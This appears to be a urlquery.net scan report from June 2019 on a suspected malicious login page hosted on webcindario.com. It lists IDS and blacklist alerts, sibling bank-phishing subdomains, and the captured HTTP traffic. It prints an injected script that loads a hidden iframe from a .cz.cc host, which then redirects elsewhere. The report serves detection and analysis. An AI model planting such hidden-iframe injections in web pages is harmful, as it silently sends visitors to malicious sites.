Overview

URL afaut.webcindario.com/usuarios/login.html
IP5.57.226.202
ASNAS29119 ServiHosting Networks S.L.
Location Spain
Report completed2019-06-11 00:54:52 CEST
StatusLoading report..
urlquery Alerts Malicious redirection script
Redirected URL from malicious script
Suspicious javascript obfuscation


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Pool
Access Level


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Severity Source IP Destination IP Alert
2019-06-11 00:54:21 CEST 2 Client IP  Internal IP ET DNS DNS Query for Suspicious .cz.cc Domain


Blacklists

MDL  No alerts detected
OpenPhish  No alerts detected
PhishTank  No alerts detected
Fortinet's Web Filter
Added / Verified Severity Host Comment
2019-06-11 2 afaut.webcindario.com/usuarios/login.html Malware
DNS-BH  No alerts detected
mnemonic secure dns  No alerts detected


Recent reports on same IP/ASN/Domain

Last 10 reports on IP: 5.57.226.202

Date UQ / IDS / BL URL IP
2019-06-10 01:08:47 +0200
0 - 0 - 1 randoldolar-4.webcindario.com/ 5.57.226.202
2019-06-05 11:13:06 +0200
0 - 0 - 1 josue0404.webcindario.com/ 5.57.226.202
2019-06-04 20:53:30 +0200
0 - 0 - 1 account-srvice.webcindario.com/ 5.57.226.202
2019-06-03 14:51:58 +0200
0 - 0 - 1 lineboamerican.webcindario.com/bankofamerica/ (...) 5.57.226.202
2019-06-02 13:08:10 +0200
0 - 0 - 1 https://verifi-card.webcindario.com/bankofame (...) 5.57.226.202
2019-06-01 00:09:49 +0200
0 - 0 - 1 confirmeboabank.webcindario.com/windows 5.57.226.202
2019-05-31 22:27:21 +0200
0 - 0 - 1 bancodeloja.webcindario.com/rlz 5.57.226.202
2019-05-31 21:32:40 +0200
0 - 0 - 1 w366d6ddd2few.webcindario.com/app 5.57.226.202
2019-05-31 17:31:57 +0200
0 - 0 - 1 pichincha-ec.webcindario.com/internexo.html 5.57.226.202
2019-05-31 16:46:14 +0200
0 - 0 - 1 pichinchabi4.webcindario.com/ 5.57.226.202

Last 10 reports on ASN: AS29119 ServiHosting Networks S.L.

Date UQ / IDS / BL URL IP
2019-06-30 18:33:09 +0200
0 - 0 - 0 okdiario.com 185.104.133.11
2019-06-12 17:57:37 +0200
0 - 0 - 0 https://tramantteatre.com/zobon 84.232.70.147
2019-06-10 23:49:52 +0200
0 - 1 - 0 remoto.nasnetsolutions.com/ 185.2.151.103
2019-06-10 15:38:10 +0200
0 - 0 - 1 xavicano.com/ 185.2.151.101
2019-06-10 08:54:47 +0200
0 - 1 - 0 remoto.nasnetsolutions.com/ 185.2.151.103
2019-06-10 04:28:26 +0200
0 - 0 - 1 decota.es/ 185.45.75.168
2019-06-10 01:08:47 +0200
0 - 0 - 1 randoldolar-4.webcindario.com/ 5.57.226.202
2019-06-09 19:41:01 +0200
0 - 10 - 0 masinvestigaciones.com/ 185.45.75.168
2019-06-09 19:11:28 +0200
0 - 0 - 1 decota.es/ 185.45.75.168
2019-06-09 18:36:09 +0200
0 - 1 - 0 cohisfrisa.es/ 185.45.75.168

No other reports on domain: webcindario.com



JavaScript

Executed Scripts (10)


Executed Evals (1)

#1 JavaScript::Eval (size: 625, repeated: 1) - SHA256: bec1cc89dac65fde9f5fbae8685b23288488ff3acf7e391bf7d68782776d4aab

                                        		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://tr5yh654wfrefg.cz.cc/t/a595422501b92d03b3860fed3f29ee54' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}

		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://tr5yh654wfrefg.cz.cc/t/a595422501b92d03b3860fed3f29ee54');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}
                                    

Executed Writes (0)



HTTP Transactions (28)


Request Response
                                        
                                            GET /usuarios/login.html HTTP/1.1 
Host: afaut.webcindario.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         5.57.226.202
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Mon, 10 Jun 2019 22:54:21 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
Vary: Accept-Encoding
Set-Cookie: __muid=13cff9bf5f0e16c5dd502f7b55a868a7b66af194; Domain=.webcindario.com; Path=/; Expires=Tue, 19 Jan 2038 03:14:11 GMT; HttpOnly
X-Powered-By: Webcindario Hosting Service
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   2570
Md5:    beeeb3a4d24494029b0d74970beb1494
Sha1:   b645b797f5a19e72d55398cbe9dca32043bca0ab
Sha256: 414a1223e6449efdc4d201e49b4f18ada453fcb6113a2c88d65197e8ef79e15d

Alerts:
  urlquery:
    - Suspicious javascript obfuscation
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /043/iconos/vacio.gif HTTP/1.1 
Host: miarroba.st
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         104.25.207.8
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Date: Mon, 10 Jun 2019 22:54:21 GMT
Content-Length: 43
Connection: keep-alive
Set-Cookie: __cfduid=ded2d0b5a345300cab01bb034b57996741560207261; expires=Tue, 09-Jun-20 22:54:21 GMT; path=/; domain=.miarroba.st; HttpOnly
Cache-Control: public, max-age=315360000
Cf-Bgj: imgq:100
Cf-Polished: status=not_needed
Expires: Thu, 07 Jun 2029 22:54:21 GMT
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Vary: Accept
CF-Cache-Status: HIT
Accept-Ranges: bytes
Server: cloudflare
CF-RAY: 4e4eed368d16cae8-ARN


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    ad4b0f606e0f8465bc4c4c170b37e1a3
Sha1:   50b30fd5f87c85fe5cba2635cb83316ca71250d7
Sha256: cf4724b2f736ed1a0ae6bc28f1ead963d9cd2c1fd87b6ef32e7799fc1c5c8bda
                                        
                                            GET /pagead/js/adsbygoogle.js HTTP/1.1 
Host: pagead2.googlesyndication.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         216.58.207.226
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"
Timing-Allow-Origin: *
Vary: Accept-Encoding
Date: Mon, 10 Jun 2019 22:54:21 GMT
Expires: Mon, 10 Jun 2019 22:54:21 GMT
Cache-Control: private, max-age=3600
Etag: 3721643599209175792
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="f.txt"
Content-Encoding: gzip
Server: cafe
Content-Length: 33160
X-XSS-Protection: 0


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   33160
Md5:    1023ce0e77790d3ba8901773cdbd468b
Sha1:   d879b600fcf9e154061549d3c5f3227b2ee2de85
Sha256: 643fc5a9979cddb1d8bd5ea5a7a9ee91f52725d97746e2b60091f479aabf7b69
                                        
                                            GET /style.css HTTP/1.1 
Host: afaut.webcindario.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html
Cookie: __muid=13cff9bf5f0e16c5dd502f7b55a868a7b66af194

                                         
                                         5.57.226.202
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: nginx
Date: Mon, 10 Jun 2019 22:54:21 GMT
Last-Modified: Thu, 30 Jun 2011 06:24:35 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
Vary: Accept-Encoding
Etag: W/"4e0c16a3-14f2"
X-Powered-By: Webcindario Hosting Service
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1555
Md5:    f3342e33ab0ef1cd7ff19276f1d2403b
Sha1:   1aeb494fec6888799eb946f0e2774ff1e29619a8
Sha256: 8400279c6bcf8ce1e0ddc8b706931de5396fb14b31707d1c4ce4c877cd05681a
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca4.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         151.139.128.14
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:54:21 GMT
Accept-Ranges: bytes
Last-Modified: Sun, 09 Jun 2019 15:01:21 GMT
Server: Apache
Etag: 93A01EF6067CC231D96598C43B6D9065958FEE7F
Cache-Control: max-age=593648,public,no-transform,must-revalidate
X-OCSP-Responder-ID: mcdpcaocsp11
X-HW: 1560207261.cds054.sk1.h2,1560207261.cds047.sk1.c
Connection: keep-alive
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    bca126271bafa0339f136b33be247542
Sha1:   93a01ef6067cc231d96598c43b6d9065958fee7f
Sha256: 54aa90613ec4af0403a5378fcefc88536e980d53f971434d0ce8f3280f394a07
                                        
                                            GET /js/motor.js HTTP/1.1 
Host: afaut.webcindario.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html
Cookie: __muid=13cff9bf5f0e16c5dd502f7b55a868a7b66af194

                                         
                                         5.57.226.202
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx
Date: Mon, 10 Jun 2019 22:54:21 GMT
Last-Modified: Wed, 29 Jun 2011 04:03:13 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
Vary: Accept-Encoding
Etag: W/"4e0aa401-6e2"
X-Powered-By: Webcindario Hosting Service
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   662
Md5:    66913d566be09f367ef6070c267831fd
Sha1:   efebe604dcc8a8e6141bafbd39a6181533ecd458
Sha256: fd0c93aef12d6e69ab312d6f6f49263ef2062541fcaeaa77286f622815b89a8f
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca4.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         151.139.128.14
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:54:21 GMT
Accept-Ranges: bytes
Last-Modified: Thu, 06 Jun 2019 12:14:19 GMT
Server: Apache
Etag: 260FDC2541DE8121C33609842613565304571816
Cache-Control: max-age=302397,public,no-transform,must-revalidate
X-OCSP-Responder-ID: mcdpcaocsp2
X-HW: 1560207261.cds054.sk1.h2,1560207261.cds043.sk1.c
Connection: keep-alive
Content-Length: 727


--- Additional Info ---
Magic:  data
Size:   727
Md5:    134c2f5f8762b08520d1117c8c0d7327
Sha1:   260fdc2541de8121c33609842613565304571816
Sha256: 766f184ddf13769ac32138330a4556a0baca83485cdd4eb3e7a1fa6ed3c4356a
                                        
                                            GET /images/img04.jpg HTTP/1.1 
Host: afaut.webcindario.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/style.css
Cookie: __muid=13cff9bf5f0e16c5dd502f7b55a868a7b66af194

                                         
                                         5.57.226.202
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Mon, 10 Jun 2019 22:54:21 GMT
Content-Length: 3075
Last-Modified: Mon, 04 Jul 2011 03:41:48 GMT
Connection: keep-alive
Keep-Alive: timeout=120
Etag: "4e11367c-c03"
X-Powered-By: Webcindario Hosting Service
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3075
Md5:    73f56b033f7649dddd93289a48103cb3
Sha1:   c0132230fa0e405422e7a5afd7f701d7ab6cb2fa
Sha256: 4885e37dd75d302bb8cdbd68a2974869d7167e35da088318ac5ce40f86354602
                                        
                                            GET /images/img01.jpg HTTP/1.1 
Host: afaut.webcindario.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html
Cookie: __muid=13cff9bf5f0e16c5dd502f7b55a868a7b66af194

                                         
                                         5.57.226.202
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Mon, 10 Jun 2019 22:54:21 GMT
Content-Length: 460
Last-Modified: Mon, 04 Jul 2011 03:41:38 GMT
Connection: keep-alive
Keep-Alive: timeout=120
Etag: "4e113672-1cc"
X-Powered-By: Webcindario Hosting Service
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.02
Size:   460
Md5:    a01793513e139bdd738b8d601bf6ae6a
Sha1:   d50808ac64d9d2981d8bb78c97e0175bf0c11364
Sha256: c79bc8cedcc9ee6bf3e26f9f7857f6ef83dfa5ec28efd0f2e51a334d2238aee8
                                        
                                            GET /ads?type=dyn&plc=75133&elementId=13cff9bf5f0e16c5dd502f7b55a868a7b66af194&sz=400x320&rnd=62288165 HTTP/1.1 
Host: des.smartclip.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         52.51.12.97
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
Date: Mon, 10 Jun 2019 22:54:21 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx/1.13.12
Vary: Accept-Encoding
Sc-Device-Type: PC
Sc-Supply-Network: 999999
Sc-Uuid: 8c094d5e-b3cb-4c6e-8bca-ebc486f60f9f
Access-Control-Allow-Credentials: true
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1296
Md5:    d36f3c5004c5f75bad32ceb415606ff1
Sha1:   dc6ee0869d613efb6a6e560aa96af0c48de594ec
Sha256: 2cd82ff1dc6527926077a5763f66e2e0e4dcc9284adc0033197bf6a676f0633b
                                        
                                            POST / HTTP/1.1 
Host: ocsp.usertrust.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         151.139.128.14
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:54:21 GMT
Accept-Ranges: bytes
Last-Modified: Thu, 06 Jun 2019 12:14:19 GMT
Server: Apache
Etag: B44FAF03540FCA33016D09282127AE20BEAA4CA4
Cache-Control: max-age=507466,public,no-transform,must-revalidate
X-OCSP-Responder-ID: mcdpcaocsp4
X-HW: 1560207261.cds043.sk1.h2,1560207261.cds047.sk1.c
Connection: keep-alive
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    fb545f5eec15e712c9606a6366bedb83
Sha1:   b44faf03540fca33016d09282127ae20beaa4ca4
Sha256: d23de25011516addadb4b89614cb41dcffe22cc4cab419e9f3d07835241c9f8e
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         216.58.207.195
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:54:21 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   471
Md5:    e06687005e890ad67e3a7ee5c6fc9d05
Sha1:   0f3e8c4b43615cd92199db2f3ce1f08426fe140b
Sha256: 673ae4bfa23e200076eafe3ce4d6b174f3b71afceac3e50760f1cc138cf79c2f
                                        
                                            POST /gsr2 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 112
Content-Type: application/ocsp-request

                                         
                                         216.58.207.195
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:54:21 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 468
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   468
Md5:    5be872b3fe0bb6f31385f91f811e9586
Sha1:   1192231bcb9ee73e9f619d433cdb66dddd9ae7f7
Sha256: db0ad6191770bff9043482b68acf62a4e25d4390a03274cfbe413675dd8c9cf5
                                        
                                            GET /gtm.js?id=GTM-T2VG59 HTTP/1.1 
Host: www.googletagmanager.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         172.217.20.40
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Access-Control-Allow-Origin: http://www.googletagmanager.com
Access-Control-Allow-Headers: Cache-Control
Access-Control-Allow-Credentials: true
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Mon, 10 Jun 2019 22:54:21 GMT
Expires: Mon, 10 Jun 2019 22:54:21 GMT
Cache-Control: private, max-age=900
Last-Modified: Fri, 07 Jun 2019 06:09:29 GMT
Server: Google Tag Manager (scaffolding)
X-XSS-Protection: 0
Alt-Svc: quic=":443"; ma=2592000; v="46,44,43,39"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   19061
Md5:    c52490bf67acdd2015df1b7b3b913ac4
Sha1:   53423c127ae971d0eb89735dc924e1f0c7ed37d0
Sha256: 0365741b719962a4de4d71be750e202eded23fcd129d2af18f717e6030317a41
                                        
                                            GET /analytics.js HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         172.217.20.46
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
Timing-Allow-Origin: *
Date: Mon, 10 Jun 2019 21:40:50 GMT
Expires: Mon, 10 Jun 2019 23:40:50 GMT
Last-Modified: Tue, 21 May 2019 23:53:44 GMT
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 17595
Cache-Control: public, max-age=7200
Age: 4411
Alt-Svc: quic=":443"; ma=2592000; v="46,44,43,39"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   17595
Md5:    585dd98ad9bada516652979df577ade8
Sha1:   b81e0ee5e2648994c7c92e4becb6a8420113e462
Sha256: e88dfebceadff72fc5bb3ab4a4dfa71d835acbb4d183091d66e72e762fb306d5
                                        
                                            GET /?__muid=13cff9bf5f0e16c5dd502f7b55a868a7b66af194&h=1426291&t=1560207261&k=d9ec56d0e84e8a48744ffac90b50ec4b HTTP/1.1 
Host: hosting.miarroba.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         104.25.206.8
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=iso-8859-1
                                        
Date: Mon, 10 Jun 2019 22:54:21 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d9250b954d024ae7c63ae6c82438968301560207261; expires=Tue, 09-Jun-20 22:54:21 GMT; path=/; domain=.miarroba.info; HttpOnly
Vary: Accept-Encoding
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Mon, 10 Jun 2019 22:54:21 GMT
Cache-Control: no-cache
Pragma: no-cache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Encoding: gzip
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 4e4eed38fb66caf8-ARN


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   20
Md5:    7029066c27ac6f5ef18d660d5741979a
Sha1:   46c6643f07aa7f6bfe7118de926b86defc5087c4
Sha256: 59869db34853933b239f1e2219cf7d431da006aa919635478511fabbfc8849d2
                                        
                                            GET /t/a595422501b92d03b3860fed3f29ee54 HTTP/1.1 
Host: tr5yh654wfrefg.cz.cc
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         128.14.145.227
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
                                        
Server: nginx/1.14.2
Date: Mon, 10 Jun 2019 22:54:22 GMT
Content-Length: 88
Connection: keep-alive
Location: https://166686.com/t/a595422501b92d03b3860fed3f29ee54


--- Additional Info ---
Magic:  ASCII text
Size:   88
Md5:    5a61106d08607741126042181e3ccd24
Sha1:   cf2d293472c3f4afbe587db6c6045f4df8662ea4
Sha256: 06d3ee756ec59d2f9f70461949d6137a729e72e9d002c278ce8dad06e2c82d28

Alerts:
  urlquery:
    - Redirected URL from malicious script
                                        
                                            GET /r/collect?v=1&_v=j76&a=1735223272&t=pageview&_s=1&dl=http%3A%2F%2Fafaut.webcindario.com%2Fusuarios%2Flogin.html&ul=en-us&de=ISO-8859-1&dt=Conectar%20Socio&sd=24-bit&sr=1176x885&vp=1176x754&je=1&fl=10.0%20r45&_u=YEBAAAQAC~&jid=739629471&gjid=1512261708&cid=614399279.1560207262&tid=UA-597118-7&_gid=1513000231.1560207262&_r=1&gtm=2wg5t2T2VG59&z=2049268464 HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         172.217.20.46
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Location: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-597118-7&cid=614399279.1560207262&jid=739629471&_gid=1513000231.1560207262&gjid=1512261708&_v=j76&z=2049268464
Access-Control-Allow-Origin: *
Date: Mon, 10 Jun 2019 22:54:22 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
Server: Golfe2
Content-Length: 416
Alt-Svc: quic=":443"; ma=2592000; v="46,44,43,39"


--- Additional Info ---
Magic:  HTML document text
Size:   416
Md5:    3219aef5f390d3ac2b64e29228a72e4a
Sha1:   b20372d633123e9a729a6b837901dd52d6a7842a
Sha256: 74be47c66a4203e24c270f30164d67d928a305ad81de1afa9e2e2e285b3d2710
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         216.58.207.195
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:54:22 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   471
Md5:    bd2ae8c6d8df39228e6d606b269cf354
Sha1:   04f94d8806ade2c2c06899e2d8dba8e828483683
Sha256: 005d80f9f95b776b8359b42a959e79cf824588f7aaf8e1cba4a8687c20f5baec
                                        
